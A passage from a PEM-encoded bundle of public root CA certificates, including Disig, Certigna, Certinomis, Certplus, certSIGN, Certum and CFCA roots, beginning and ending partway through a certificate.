KhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV/afmiSTY
zIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvS
O1UQRwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D
34xFMFbG02SrZvPAXpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgP
K9Dx2hzLabjKSWJtyNBjYt1gD1iqj6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3
AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFEe4zf/lb+74suwv
Tg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAACAj
QTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXS
IGrs/CIBKM+GuIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2
HJLw5QY33KbmkJs4j1xrG0aGQ0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsa
O5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8ZORK15FTAaggiG6cX0S5y2CBNOxv
033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2KSb12tjE8nVhz36u
dmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz6MkE
kbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg41
3OEMXbugUZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvD
u79leNKGef9JOxqDDPDeeOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq
4/g7u9xN12TyUb7mqqta6THuBrxzvxNiCp/HuZc=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEDzCCAvegAwIBAgIBATANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJTSzET
MBEGA1UEBxMKQnJhdGlzbGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UE
AxMIQ0EgRGlzaWcwHhcNMDYwMzIyMDEzOTM0WhcNMTYwMzIyMDEzOTM0WjBKMQsw
CQYDVQQGEwJTSzETMBEGA1UEBxMKQnJhdGlzbGF2YTETMBEGA1UEChMKRGlzaWcg
YS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCS9jHBfYj9mQGp2HvycXXxMcbzdWb6UShGhJd4NLxs/LxFWYgmGErE
Nx+hSkS943EE9UQX4j/8SFhvXJ56CbpRNyIjZkMhsDxkovhqFQ4/61HhVKndBpnX
mjxUizkDPw/Fzsbrg3ICqB9x8y34dQjbYkzo+s7552oftms1grrijxaSfQUMbEYD
XcDtab86wYqg6I7ZuUUohwjstMoVvoLdtUSLLa2GDGhibYVW8qwUYzrG0ZmsNHhW
S8+2rT+MitcE5eN4TPWGqvWP+j1scaMtymfraHtuM6kMgiioTGohQBUgDCZbg8Kp
FhXAJIJdKxatymP2dACw30PEEGBWZ2NFAgMBAAGjgf8wgfwwDwYDVR0TAQH/BAUw
AwEB/zAdBgNVHQ4EFgQUjbJJaJ1yCCW5wCf1UJNWSEZx+Y8wDgYDVR0PAQH/BAQD
AgEGMDYGA1UdEQQvMC2BE2Nhb3BlcmF0b3JAZGlzaWcuc2uGFmh0dHA6Ly93d3cu
ZGlzaWcuc2svY2EwZgYDVR0fBF8wXTAtoCugKYYnaHR0cDovL3d3dy5kaXNpZy5z
ay9jYS9jcmwvY2FfZGlzaWcuY3JsMCygKqAohiZodHRwOi8vY2EuZGlzaWcuc2sv
Y2EvY3JsL2NhX2Rpc2lnLmNybDAaBgNVHSAEEzARMA8GDSuBHpGT5goAAAABAQEw
DQYJKoZIhvcNAQEFBQADggEBAF00dGFMrzvY/59tWDYcPQuBDRIrRhCA/ec8J9B6
yKm2fnQwM6M6int0wHl5QpNt/7EpFIKrIYwvF/k/Ji/1WcbvgAa3mkkp7M5+cTxq
EEHA9tOasnxakZzArFvITV734VP/Q3f8nktnbNfzg9Gg4H8l37iYC5oyOGwwoPP/
CBUz91BKez6jPiCp3C9WgArtQVCwyfTssuMmRAAOb54GvCKWU3BlxFAKRmukLyeB
EicTXxChds6KezfqwzlhA5WYOudsiCUI/HloDYd9Yvi0X/vF2Ey9WLw/Q1vUHgFN
PGO+I++MzVpQuGhU+QqZMxEA4Z7CRneC9VkGjCFMhwnN5ag=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFaTCCA1GgAwIBAgIJAMMDmu5QkG4oMA0GCSqGSIb3DQEBBQUAMFIxCzAJBgNV
BAYTAlNLMRMwEQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMu
MRkwFwYDVQQDExBDQSBEaXNpZyBSb290IFIxMB4XDTEyMDcxOTA5MDY1NloXDTQy
MDcxOTA5MDY1NlowUjELMAkGA1UEBhMCU0sxEzARBgNVBAcTCkJyYXRpc2xhdmEx
EzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERpc2lnIFJvb3QgUjEw
ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCqw3j33Jijp1pedxiy3QRk
D2P9m5YJgNXoqqXinCaUOuiZc4yd39ffg/N4T0Dhf9Kn0uXKE5Pn7cZ3Xza1lK/o
OI7bm+V8u8yN63Vz4STN5qctGS7Y1oprFOsIYgrY3LMATcMjfF9DCCMyEtztDK3A
fQ+lekLZWnDZv6fXARz2m6uOt0qGeKAeVjGu74IKgEH3G8muqzIm1Cxr7X1r5OJe
IgpFy4QxTaz+29FHuvlglzmxZcfe+5nkCiKxLU3lSCZpq+Kq8/v8kiky6bM+TR8n
oc2OuRf7JT7JbvN32g0S9l3HuzYQ1VTW8+DiR0jm3hTaYVKvJrT1cU/J19IG32PK
/yHoWQbgCNWEFVP3Q+V8xaCJmGtzxmjOZd69fwX3se72V6FglcXM6pM6vpmumwKj
rckWtc7dXpl4fho5frLABaTAgqWjR56M6ly2vGfb5ipN0gTco65F97yLnByn1tUD
3AjLLhbKXEAz6GfDLuemROoRRRw1ZS0eRWEkG4IupZ0zXWX4Qfkuy5Q/H6MMMSRE
7cderVC6xkGbrPAXZcD4XW9boAo0PO7X6oifmPmvTiT6l7Jkdtqr9O3jw2Dv1fkC
yC2fg69naQanMVXVz0tv/wQFx1isXxYb5dKj6zHbHzMVTdDypVP1y+E9Tmgt2BLd
qvLmTZtJ5cUoobqwWsagtQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
DwEB/wQEAwIBBjAdBgNVHQ4EFgQUiQq0OJMa5qvum5EY+fU8PjXQ04IwDQYJKoZI
hvcNAQEFBQADggIBADKL9p1Kyb4U5YysOMo6CdQbzoaz3evUuii+Eq5FLAR0rBNR
xVgYZk2C2tXck8An4b58n1KeElb21Zyp9HWc+jcSjxyT7Ff+Bw+r1RL3D65hXlaA
SfX8MPWbTx9BLxyE04nH4toCdu0Jz2zBuByDHBb6lM19oMgY0sidbvW9adRtPTXo
HqJPYNcHKfyyo6SdbhWSVhlMCrDpfNIZTUJG7L399ldb3Zh+pE3McgODWF3vkzpB
emOqfDqo9ayk0d2iLbYq/J8BjuIQscTK5GfbVSUZP/3oNn6z4eGBrxEWi1CXYBmC
AMBrTXO40RMHPuq2MU/wQppt4hF05ZSsjYSVPCGvxdpHyN85YmLLW1AL14FABZyb
7bq2ix4Eb5YgOe2kfSnbSM6C3NQCjR0EMVrHS/BsYVLXtFHCgWzN4funodKSds+x
DzdYpPJScWc/DIh4gInByLUfkmO+p3qKViwaqKactV2zY9ATIKHrkWzQjX2v3wvk
F7mGnjixlAxYjOBVqjtjbZqJYLhkKpLGN/R+Q0O3c+gB53+XD9fyexn9GtePyfqF
a3qdnom2piiZk4hA9z7NUaPK6u95RyG1/jLix8NRb76AdPCkwzryT+lf3xkK8jsT
Q6wxpLPn6/wY1gGp8yqPNg7rtLG8t0zJa7+h89n07eLw4+1knj0vllJPgFOL
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNV
BAYTAlNLMRMwEQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMu
MRkwFwYDVQQDExBDQSBEaXNpZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQy
MDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sxEzARBgNVBAcTCkJyYXRpc2xhdmEx
EzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERpc2lnIFJvb3QgUjIw
ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbCw3Oe
NcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNH
PWSb6WiaxswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3I
x2ymrdMxp7zo5eFm1tL7A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbe
QTg06ov80egEFGEtQX6sx3dOy1FU+16SGBsEWmjGycT6txOgmLcRK7fWV8x8nhfR
yyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqVg8NTEQxzHQuyRpDRQjrO
QG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa5Beny912
H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJ
QfYEkoopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUD
i/ZnWejBBhG93c+AAk9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORs
nLMOPReisjQS1n6yqEm70XooQL6iFh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1
rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
DwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5uQu0wDQYJKoZI
hvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqf
GopTpti72TVVsRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkb
lvdhuDvEK7Z4bLQjb/D907JedR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka
+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W81k/BfDxujRNt+3vrMNDcTa/F1bal
TFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjxmHHEt38OFdAlab0i
nSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01utI3
gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18Dr
G5gPcFw0sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3Os
zMOl6W8KjptlwlCFtaOgUxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8x
L4ysEr3vQCj8KWefshNPZiTEUxnpHikV7+ZtsH8tZ/3zbBt1RqPlShfppNcL
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNV
BAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4X
DTA3MDYyOTE1MTMwNVoXDTI3MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQ
BgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwIQ2VydGlnbmEwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7qXOEm7RFHYeGifBZ4
QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyHGxny
gQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbw
zBfsV1/pogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q
130yGLMLLGq/jj8UEYkgDncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2
JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKfIrjxwo1p3Po6WAbfAgMBAAGjgbwwgbkw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQtCRZvgHyUtVF9lo53BEw
ZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJBgNVBAYT
AkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzj
AQ/JSP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG
9w0BAQUFAAOCAQEAhQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8h
bV6lUmPOEvjvKtpv6zf+EwLHyzs+ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFnc
fca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1kluPBS1xp81HlDQwY9qcEQCYsuu
HWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY1gkIl2PlwS6w
t0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw
WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFnDCCA4SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJGUjET
MBEGA1UEChMKQ2VydGlub21pczEXMBUGA1UECxMOMDAwMiA0MzM5OTg5MDMxJjAk
BgNVBAMMHUNlcnRpbm9taXMgLSBBdXRvcml0w6kgUmFjaW5lMB4XDTA4MDkxNzA4
Mjg1OVoXDTI4MDkxNzA4Mjg1OVowYzELMAkGA1UEBhMCRlIxEzARBgNVBAoTCkNl
cnRpbm9taXMxFzAVBgNVBAsTDjAwMDIgNDMzOTk4OTAzMSYwJAYDVQQDDB1DZXJ0
aW5vbWlzIC0gQXV0b3JpdMOpIFJhY2luZTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAJ2Fn4bT46/HsmtuM+Cet0I0VZ35gb5j2CN2DpdUzZlMGvE5x4jY
F1AMnmHawE5V3udauHpOd4cN5bjr+p5eex7Ezyh0x5P1FMYiKAT5kcOrJ3NqDi5N
8y4oH3DfVS9O7cdxbwlyLu3VMpfQ8Vh30WC8Tl7bmoT2R2FFK/ZQpn9qcSdIhDWe
rP5pqZ56XjUl+rSnSTV3lqc2W+HN3yNw2F1MpQiD8aYkOBOo7C+ooWfHpi2GR+6K
/OybDnT0K0kCe5B1jPyZOQE51kqJ5Z52qz6WKDgmi92NjMD2AR5vpTESOH2VwnHu
7XSu5DaiQ3XV8QCb4uTXzEIDS3h65X27uK4uIJPT5GHfceF2Z5c/tt9qc1pkIuVC
28+BA5PY9OMQ4HL2AHCs8MF6DwV/zzRpRbWT5BnbUhYjBYkOjUjkJW+zeL9i9Qf6
lSTClrLooyPCXQP8w9PlfMl1I9f09bze5N/NgL+RiH2nE7Q5uiy6vdFrzPOlKO1E
nn1So2+WLhl+HPNbxxaOu2B9d2ZHVIIAEWBsMsGoOBvrbpgT1u449fCfDu/+MYHB
0iSVL1N6aaLwD4ZFjliCK0wi1F6g530mJ0jfJUaNSih8hp75mxpZuWW/Bd22Ql09
5gBIgl4g9xGC3srYn+Y3RyYe63j3YcNBZFgCQfna4NH4+ej9Uji29YnfAgMBAAGj
WzBZMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBQN
jLZh2kS40RR9w759XkjwzspqsDAXBgNVHSAEEDAOMAwGCiqBegFWAgIAAQEwDQYJ
KoZIhvcNAQEFBQADggIBACQ+YAZ+He86PtvqrxyaLAEL9MW12Ukx9F1BjYkMTv9s
ov3/4gbIOZ/xWqndIlgVqIrTseYyCYIDbNc/CMf4uboAbbnW/FIyXaR/pDGUu7ZM
OH8oMDX/nyNTt7buFHAAQCvaR6s0fl6nVjBhK4tDrP22iCj1a7Y+YEq6QpA0Z43q
619FVDsXrIvkxmUP7tCMXWY5zjKn2BCXwH40nJ+U8/aGH88bc62UeYdocMMzpXDn
2NU4lG9jeeu/Cg4I58UvD0KgKxRA/yHgBcUn4YQRE7rWhh1BCxMjidPJC+iKunqj
o3M3NYB9Ergzd0A4wPpeMNLytqOx1qKVl4GbUu1pTP+A5FPbVFsDbVRfsbjvJL1v
nxHDx2TCDyhihWZeGnuyt++uNckZM6i4J9szVb9o4XVIRFb7zdNIu0eJOqxp9YDG
5ERQL1TEqkPFMTFYvZbF6nVsmnWxTfj3l/+WFvKXTej28xH5On2KOG4Ey+HTRRWq
pdEdnV1j6CTmNhTih60bWfVEm/vXd3wfAXBioSAaosUaKPQhA+4u2cGA6rnZgtZb
dsLLO7XSAPCjDuGtbkD326C00EauFddEwk01+dIL8hf2rGbVJLJP0RyZwG71fet0
BLj5TXcJ17TPBzAJ8bgAVtkXFhYKK4bfjwEZGuW7gmP/vgt2Fl43N+bYdJeimUV5
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDkjCCAnqgAwIBAgIRAIW9S/PY2uNp9pTXX8OlRCMwDQYJKoZIhvcNAQEFBQAw
PTELMAkGA1UEBhMCRlIxETAPBgNVBAoTCENlcnRwbHVzMRswGQYDVQQDExJDbGFz
cyAyIFByaW1hcnkgQ0EwHhcNOTkwNzA3MTcwNTAwWhcNMTkwNzA2MjM1OTU5WjA9
MQswCQYDVQQGEwJGUjERMA8GA1UEChMIQ2VydHBsdXMxGzAZBgNVBAMTEkNsYXNz
IDIgUHJpbWFyeSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANxQ
ltAS+DXSCHh6tlJw/W/uz7kRy1134ezpfgSN1sxvc0NXYKwzCkTsA18cgCSR5aiR
VhKC9+Ar9NuuYS6JEI1rbLqzAr3VNsVINyPi8Fo3UjMXEuLRYE2+L0ER4/YXJQyL
kcAbmXuZVg2v7tK8R1fjeUl7NIknJITesezpWE7+Tt9avkGtrAjFGA7v0lPubNCd
EgETjdyAYveVqUSISnFOYFWe2yMZeVYHDD9jC1yw4r5+FfyUM1hBOHTE4Y+L3yas
H7WLO7dDWWuwJKZtkIvEcupdM5i3y95ee++U8Rs+yskhwcWYAqqi9lt3m/V+llU0
HGdpwPFC40es/CgcZlUCAwEAAaOBjDCBiTAPBgNVHRMECDAGAQH/AgEKMAsGA1Ud
DwQEAwIBBjAdBgNVHQ4EFgQU43Mt38sOKAze3bOkynm4jrvoMIkwEQYJYIZIAYb4
QgEBBAQDAgEGMDcGA1UdHwQwMC4wLKAqoCiGJmh0dHA6Ly93d3cuY2VydHBsdXMu
Y29tL0NSTC9jbGFzczIuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQCnVM+IRBnL39R/
AN9WM2K191EBkOvDP9GIROkkXe/nFL0gt5o8AP5tn9uQ3Nf0YtaLcF3n5QRIqWh8
yfFC82x/xXp8HVGIutIKPidd3i1RTtMTZGnkLuPT55sJmabglZvOGtd/vjzOUrMR
FcEPF80Du5wlFbqidon8BvEY0JNLDnyCt6X09l/+7UCmnYR0ObncHoUW2ikbhiMA
ybuJfm6AiB4vFLQDJKgybwOaRywwvlbGp0ICcBvqQNi6BQNwB6SW//1IMwrh3KWB
kJtN3X3n57LNXMhqlfil9o3EXXgIvnsG1knPGTZQIy4I5p4FTUcY1Rbpsda2ENW7
l7+ijrRU
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYT
AlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBD
QTAeFw0wNjA3MDQxNzIwMDRaFw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJP
MREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTCC
ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7IJUqOtdu0KBuqV5Do
0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHHrfAQ
UySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5d
RdY4zTW2ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQ
OA7+j0xbm0bqQfWwCHTD0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwv
JoIQ4uNllAoEwF73XVv4EOLQunpL+943AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08C
AwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAcYwHQYDVR0O
BBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IBAQA+0hyJ
LjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecY
MnQ8SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ
44gx+FkagQnIl6Z0x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6I
Jd1hJyMctTEHBDa0GpC9oHRxUIltvBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNw
i/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7NzTogVZ96edhBiIL5VaZVDADlN
9u6wWk5JRFRYX0KD
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBM
MSIwIAYDVQQKExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5D
ZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBU
cnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIyMTIwNzM3WhcNMjkxMjMxMTIwNzM3
WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMg
Uy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MSIw
IAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rH
UV+rpDKmYYe2bg+G0jACl/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LM
TXPb865Px1bVWqeWifrzq2jUI4ZZJ88JJ7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVU
BBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4fOQtf/WsX+sWn7Et0brM
kUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0cvW0QM8x
AcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNV
HRMBAf8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNV
HQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15y
sHhE49wcrwn9I0j6vSrEuVUEtRCjjSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfL
I9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1mS1FhIrlQgnXdAIv94nYmem8
J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5ajZt3hrvJBW8qY
VoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJD
TjEwMC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9y
aXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkx
MjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEwMC4GA1UECgwnQ2hpbmEgRmluYW5j
aWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJP
T1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnVBU03
sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpL
TIpTUnrD7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5
/ZOkVIBMUtRSqy5J35DNuF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp
7hZZLDRJGqgG16iI0gNyejLi6mhNbiyWZXvKWfry4t3uMCz7zEasxGPrb382KzRz
EpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7xzbh72fROdOXW3NiGUgt
hxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9fpy25IGvP
a931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqot
aK8KgWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNg
TnYGmE69g60dWIolhdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfV
PKPtl8MeNPo4+QgO48BdK4PRVmrJtqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hv
cWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAfBgNVHSMEGDAWgBTj/i39KNAL
tbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAd
BgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObT
ej/tUxPQ4i9qecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdL
jOztUmCypAbqTuv0axn96/Ua4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBS
ESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sGE5uPhnEFtC+NiWYzKXZUmhH4J/qy
P5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfXBDrDMlI1Dlb4pd19
xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjnaH9d
Ci77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN
5mydLIhyPDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe
/v5WOaHIz16eGWRGENoXkbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+Z
AAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3CekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ
5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYD
VQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0
